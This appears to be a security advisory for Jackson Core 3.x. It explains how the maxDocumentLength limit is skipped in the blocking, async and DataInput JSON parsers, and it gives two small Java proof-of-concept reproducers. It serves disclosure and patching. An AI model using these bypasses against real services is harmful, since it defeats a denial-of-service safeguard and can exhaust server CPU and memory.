Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers

Summary

## Summary

Jackson Core 3.x does not consistently enforce `StreamReadConstraints.maxDocumentLength`. Oversized JSON documents can be accepted without a `StreamConstraintsException` in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.

## Details

Three code paths where `maxDocumentLength` is not fully enforced:

### 1. Blocking parsers skip validation of the final in-memory buffer

Blocking parsers validate only previously processed buffers, not the final in-memory buffer:

- `ReaderBasedJsonParser.java:255` - `UTF8StreamJsonParser.java:208`

Relevant code:

```java _currInputProcessed += bufSize; _streamReadConstraints.validateDocumentLength(_currInputProcessed); ```

This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.

### 2. Async parsers skip validation of the final chunk on end-of-input

Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:

- `NonBlockingByteArrayJsonParser.java:49` - `NonBlockingByteBufferJsonParser.java:57` - `NonBlockingUtf8JsonParserBase.java:75`

Relevant code:

```java _currInputProcessed += _origBufferLen; _streamReadConstraints.validateDocumentLength(_currInputProcessed);

public void endOfInput() { _endOfInput = true; } ```

`endOfInput()` marks EOF but does not perform a final `validateDocumentLength(...)` call, so an oversized last chunk is accepted.

### 3. DataInput parser path does not enforce `maxDocumentLength` at all

- `JsonFactory.java:457`

Relevant construction path:

```java int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input); return new UTF8DataInputJsonParser(readCtxt, ioCtxt, readCtxt.getStreamReadFeatures(_streamReadFeatures), readCtxt.getFormatReadFeatures(_formatReadFeatures), input, can, firstByte); ```

`UTF8DataInputJsonParser` does not call `StreamReadConstraints.validateDocumentLength(...)`, so `maxDocumentLength` is effectively disabled for `createParser(..., DataInput)` users.

> **Note:** This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.

## PoC

### Async path reproducer

```java import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.ObjectReadContext; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.async.ByteArrayFeeder; import tools.jackson.core.json.JsonFactory;

public class Poc { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build();

byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);

try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) { ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder(); feeder.feedInput(doc, 0, doc.length); feeder.endOfInput();

while (p.nextToken() != null) { } }

System.out.println("Parsed successfully"); } } ```

- **Expected result:** Parsing should fail because the configured document-length limit is 10, while the input is longer than 10 bytes. - **Actual result:** The document is accepted and parsing completes.

### Blocking path reproducer

```java import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.json.JsonFactory;

public class Poc2 { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build();

byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);

try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) { while (p.nextToken() != null) { } }

System.out.println("Parsed successfully"); } } ```

## Impact

Applications that rely on `maxDocumentLength` as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.